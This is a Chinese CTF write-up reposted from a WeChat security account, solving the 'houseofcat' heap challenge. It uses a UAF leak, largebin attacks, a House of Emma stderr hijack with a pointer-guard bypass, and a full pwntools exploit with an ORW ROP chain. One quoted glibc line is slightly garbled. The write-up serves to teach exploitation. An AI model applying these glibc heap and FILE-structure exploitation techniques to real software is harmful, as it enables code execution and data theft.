【表哥有话说 第80期】HouseofCat

admin 2023年3月8日16:24:16评论10 views字数 8723阅读29分4秒阅读模式

TIMEKEEPER


House of cat





时隔一周

表哥们又带来新的内容

【表哥有话说 第80期】HouseofCat

本期所讲解的是

今年强网杯所出题目houseofcat

想学习新内容或者是

没弄明白这道题的小伙伴们

      赶快来看看吧!!!【表哥有话说 第80期】HouseofCat



  #整体逻辑  

overview

首先逆向理清交互逻辑,利用uaf泄漏堆地址和libc地址,然后用largebin attack修改fs:[0x30]处的ptr_guard为堆地址,再用largebin attack修改stderr,再通过报错触发stderr来进行house of emma劫持控制流,用rop进行orw读取flag


逆出交互逻辑

#1


解析输入格式的函数偏移为0x1A50,首先会将输入按照空格分为三份,第一份包含一个关键字,关键字为字符串“LOGIN”则将某个标记位标记为1,关键字为字符串“CAT"则将某个标记位标记为3,第二份开头的字符串必须为"|",第三份开头必须为r00t,整个输入整个输入的字符串必须包含“QWB”字符串。记“QWB”字符串偏移+5位置的字符串为p2,则p2字符串中必须含有“QWXF”字符串。


主逻辑函数的偏移为0x1DF3,进入交互的条件如下:

【表哥有话说 第80期】HouseofCat


dword_4014的值为0FFFFFFFFh

所以首先要输入字符串"LOGIN |content r00tQWBaaaaaadminQWXF"一次,之后输入字符串“CAT |content r00tQWBaaaaa$"+p32(0x0FFFFFFFF)+b"QWXF“即可进行交互(每次操作都要输入一次)。



HouseofEmma

#2


只能申请size <= 0x417 || size > 0x46F的chunk,第一反应就是largebin attack

【表哥有话说 第80期】HouseofCat


存在uaf,确实可以打largebin,而且这个大小范围可以打两次,可以打houseofemma,题目输出都是用的write,劫持stdout没用,改为劫持stderr的指针

【表哥有话说 第80期】HouseofCat


HouseofEmma的简要说明:


≥ 2.23 版本中vtable必须在指定范围内,在 vtable 的合法范围内,存在一个 _IO_cookie_jumps,以下是需要用到的结构体和函数的源码:


 1static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
2  JUMP_INIT_DUMMY,
3  JUMP_INIT(finish, _IO_file_finish),
4  JUMP_INIT(overflow, _IO_file_overflow),
5  JUMP_INIT(underflow, _IO_file_underflow),
6  JUMP_INIT(uflow, _IO_default_uflow),
7  JUMP_INIT(pbackfail, _IO_default_pbackfail),
8  JUMP_INIT(xsputn, _IO_file_zhi shi dianxsputn),
9  JUMP_INIT(xsgetn, _IO_default_xsgetn),
10  JUMP_INIT(seekoff, _IO_cookie_seekoff),
11  JUMP_INIT(seekpos, _IO_default_seekpos),
12  JUMP_INIT(setbuf, _IO_file_setbuf),
13  JUMP_INIT(sync, _IO_file_sync),
14  JUMP_INIT(doallocate, _IO_file_doallocate),
15  JUMP_INIT(read, _IO_cookie_read),
16  JUMP_INIT(write, _IO_cookie_write),
17  JUMP_INIT(seek, _IO_cookie_seek),
18  JUMP_INIT(close, _IO_cookie_close),
19  JUMP_INIT(stat, _IO_default_stat),
20  JUMP_INIT(showmanyc, _IO_default_showmanyc),
21  JUMP_INIT(imbue, _IO_default_imbue),
22};
23
24struct _IO_cookie_file
25{
26  struct _IO_FILE_plus __fp;
27  void *__cookie;
28  cookie_io_functions_t __io_functions;
29};
30
31typedef struct _IO_cookie_io_functions_t
32{
33  cookie_read_function_t *read;        /* Read bytes.  */
34  cookie_write_function_t *write;    /* Write bytes.  */
35  cookie_seek_function_t *seek;        /* Seek/tell file position.  */
36  cookie_close_function_t *close;    /* Close file.  */
37} cookie_io_functions_t;
38
39static ssize_t
40_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
41{
42  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
43  cookie_read_function_t *read_cb = cfile->__io_functions.read;
44#ifdef PTR_DEMANGLE
45  PTR_DEMANGLE (read_cb);
46#endif
47
48  if (read_cb == NULL)
49    return -1;
50
51  return read_cb (cfile->__cookie, buf, size);
52}
53
54static ssize_t
55_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
56{
57  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
58  cookie_write_function_t *write_cb = cfile->__io_functions.write;
59#ifdef PTR_DEMANGLE
60  PTR_DEMANGLE (write_cb);
61#endif
62
63  if (write_cb == NULL)
64    {
65      fp->_flags |= _IO_ERR_SEEN;
66      return 0;
67    }
68
69  ssize_t n = write_cb (cfile->__cookie, buf, size);
70  if (n < size)
71    fp->_flags |= _IO_ERR_SEEN;
72
73  return n;
74}
75
76#  define PTR_MANGLE(var) \
77  (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard) //fs:[0x30]
78#  define PTR_DEMANGLE(var) PTR_MANGLE (var//循环右移11位再异或ptr_guard

劫持思路

#01

  1. 用largebinattack将stderr指针可控堆块,伪造IO结构体,并将vtable设置为

   _IO_cookie_jumps+0x40

2. 在下方构造好__cookie(用来控

    制rdi)、__io_functions(用来

    控制rip)

3. 报错即可触发

  __io_functions.write(__cookie)

本来是调用

`_IO_file_jumps->_IO_file_xsputn`

劫持后调用

`(struct _IO_cookie_file *) stdout->__io_functions.write((struct _IO_cookie_file *) stdout->__cookie)`


绕过PTR_DEMANGLE

#02

调用__io_functions之前存在PTR_DEMANGLE环节,即将要调用的__io_functions中的函数指针循环右移0x11位,然后和fs:[0x30]处的数据异或。以下是绕过的一种思路


1. 泄漏libc,计算出fs:[0x30]的地址,通过任意地址写将该处的数据改为可控数据

2. 伪造__io_functions时,将要伪造的地址先和伪造的fs:[0x30]异或,再循环左移0x11位


问题

#03

edit只有两次机会,两次largebinattack完成之后就没有edit机会了,怎么触发报错



堆风水触发报错

#3


一般malloc和free的报错是不会走stderr的,需要找一个assert的报错,正好sysmalloc里有一个


【表哥有话说 第80期】HouseofCat


只要把topchunk的size改了就行了。

思路是伪造一个fakechunk,在用来触发largebinattack的chunk的bk_nextsize下方,构造fakechunk的size,让他free之后正好合并到topchunk,这样就可以一次edit修改topsize和largebinattack需要的数据了

【表哥有话说 第80期】HouseofCat


申请chunk1、chunk2,然后free。由于有uaf所以还保留chunk2的指针,在申请chunk3、chunk4...,使得chunk2的指针在chunk4的bk_nextsize之下

再次申请即可报错劫持控制流,接下来就只需要rop了



EXP

#4


  1from pwn import *
2context.log_level="debug"
3context.arch="amd64"
4sh=process("./pwn")
5# nc 182.92.223.176 30241
6# nc 47.93.187.169 44139
7# sh=remote("47.93.187.169",44139)
8def firstinit():
9    payload=b"LOGIN |content r00tQWBaaaaaadminQWXF"
10    sh.sendlineafter(b'mew mew mew~~~~~~n',payload)
11def cmd(c):
12    payload=b"CAT |content r00tQWBaaaaa$"+p32(0x0FFFFFFFF)+b"QWXF"
13    sh.sendlineafter(b'mew mew mew~~~~~~n',payload)
14    sh.sendlineafter(b'plz input your cat choice:n', str(c).encode())
15def add(idx,size,ctt):
16    cmd(1)
17    sh.sendlineafter(b"plz input your cat idx:n",str(idx).encode())
18    sh.sendlineafter(b"plz input your cat size:n",str(size).encode()) #0x417<size<0x46f
19    sh.sendlineafter(b"plz input your content:n",ctt)
20def dele(idx):
21    cmd(2)
22    sh.sendlineafter(b"plz input your cat idx:n", str(idx).encode())
23def show(idx):
24    cmd(3)
25    sh.sendlineafter(b"plz input your cat idx:n", str(idx).encode())
26def edit(idx,ctt):
27    cmd(4)
28    sh.sendlineafter(b"plz input your cat idx:n", str(idx).encode())
29    sh.sendlineafter(b"plz input your content:n", ctt)
30def rol(data): #循环左移11位
31    print(data)
32    dl=bin(data)[2:]
33    dl=dl.rjust(64,"0")
34    print(dl)
35    res=''
36    for i in range(64):
37        res+=dl[(i+0x11)%64]
38    print(res)
39    res=int(res,2)
40    return res
41firstinit()
42#可以申请大chunk
43
44#首先申请一个较大的chunk1 放入largebin
45#申请一个小一点的chunk2
46#修改chunk1的bk_nextsize为任意地址target
47#将chunk2放入largebin
48#target+0x20 -> &chunk2
49
50#free-> unsortedbin 0x428
51#malloc() 0x438
52add(0,0x428,b'a')
53add(1,0x420,b'b')
54add(2,0x418,b'c')
55add(3,0x420,b'd')
56dele(0)
57dele(2)
58show(0)
59leak_libc=u64(sh.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
60success("leak_libc:"+hex(leak_libc))
61sh.recv(2)
62leak_heap=u64(sh.recv(8))
63success("leak_heap:"+hex(leak_heap))
64libcbase=leak_libc-0x219ce0
65heapbase=(leak_heap>>12)<<12
66success("libcbase:"+hex(libcbase))
67success("heapbase:"+hex(heapbase))
68libc=ELF("./libc.so.6")
69libc.address=libcbase
70system=libc.sym['system']
71binsh=libc.search(b'/bin/sh').__next__()
72io_wstrn_jumps=libcbase+0x215dc0
73io_cookie_jump=libcbase+0x215b80
74_IO_stdfile_2_lock=libcbase+0x21ba60
75largebin_fd=libcbase+0x21a0e0-16
76largebin_fdnsize=heapbase+0x290
77gadget1=libcbase+0x00000000001675b0 #mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
78gadget2=libcbase+0x000000000005a170 #mov rsp, rdx ; ret
79rax=libcbase+0x0000000000045eb0
80rdi=libcbase+0x000000000002a3e5
81rsi=libcbase+0x000000000002be51
82rdxr12=libcbase+0x000000000011f497
83read=libc.sym['read']
84write=libc.sym['write']
85close=libc.sym['close']
86syscall=libc.sym['syscall']
87setcontext=0x529ad+libcbase
88add(4,0x428,b'e')
89ptr_guard=libcbase-0x28c0+0x30
90key=heapbase+0xaf0
91stdout=libcbase+0x21a868
92stderr=libcbase+0x21a860
93stdin=libcbase+0x21a870
94leak_heap=heapbase+0x1bd0-0x10
95success("fs:"+hex(ptr_guard-0x30))
96add(5,0x418,b'f')
97dele(4)
98payload=b'x00'*(0x78)+p64(_IO_stdfile_2_lock)+b'x00'*0x48+p64(io_cookie_jump+0x40)+p64(leak_heap+0x10)+p64(0)+p64(rol(gadget1^key))+p64(0)+p64(0)
99add(6,0x438,payload)
100dele(5)
101edit(4,p64(largebin_fd)*2+p64(largebin_fdnsize)+p64(ptr_guard-0x20))
102add(7,0x438,b'h')   
103# add(8,0x448,b'j')
104# add(9,0x448,b'k')
105# dele(8)
106# add(10,0x458,b'l')
107# dele(6)
108# edit(8,p64(largebin_fd+16)*2+p64(largebin_fdnsize+0x1930)+p64(stderr-0x20))
109# add(11,0x458,b'l')
110add(8,0x46f,b'?')
111add(9,0x46f,b'?')
112dele(9)
113dele(8)
114flagoffset=0xe8+0x10+0x18
115payload=b'' #gadget&fakesp&shellcode
116payload+=p64(rdi)+p64(leak_heap+0x10)+p64(rdxr12)+p64(gadget2)*2 #gadget
117payload+=p64(rdi)+p64(0)+p64(close) #40
118payload+=p64(rdi)+p64(0x2)+p64(rsi)+p64(flagoffset+leak_heap)+p64(rdxr12)+p64(0)*2+p64(syscall)  #68+0x18 #open
119payload+=p64(rdi)+p64(0)+p64(rsi)+p64(heapbase)+p64(rdxr12)+p64(0x40)*2+p64(read) #a8+0x18 #read
120payload+=p64(rdi)+p64(1)+p64(rsi)+p64(heapbase)+p64(rdxr12)+p64(0x40)*2+p64(write) #e8+0x18 #write #orw
121payload+=b'flagx00'
122add(10,0x440,payload)
123add(11,0x448,p64(0)*4+p64(0)+p64(0xcd1))
124add(12,0x448,b'k')
125dele(11)
126# gdb.attach(sh)
127add(13,0x458,b'l')
128dele(6)
129dele(9)
130# gdb.attach(sh,'b sysmallocnc')
131edit(11,p64(largebin_fd+16)*2+p64(largebin_fdnsize+0x1930)+p64(stderr-0x20)+p64(0)+p64(0x111))
132gdb.attach(sh,'b _IO_cookie_writenc')
133cmd(1)
134sh.sendlineafter(b"plz input your cat idx:n",str(14).encode())
135sh.sendlineafter(b"plz input your cat size:n",str(0x458).encode()) #0x417<size<0x46f
136sh.interactive()


本期的知识分享就到这里了

不知道大家还有什么疑问呢??

【表哥有话说 第80期】HouseofCat

长按下方的二维码关注我们 【表哥有话说 第80期】HouseofCat

下期表哥们的干货

已经在等你了!!!


【表哥有话说 第80期】HouseofCat


原文始发于微信公众号(SKSEC):【表哥有话说 第80期】HouseofCat

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日16:24:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第80期】HouseofCathttp://cn-sec.com/archives/1245711.html

发表评论

匿名网友 填写信息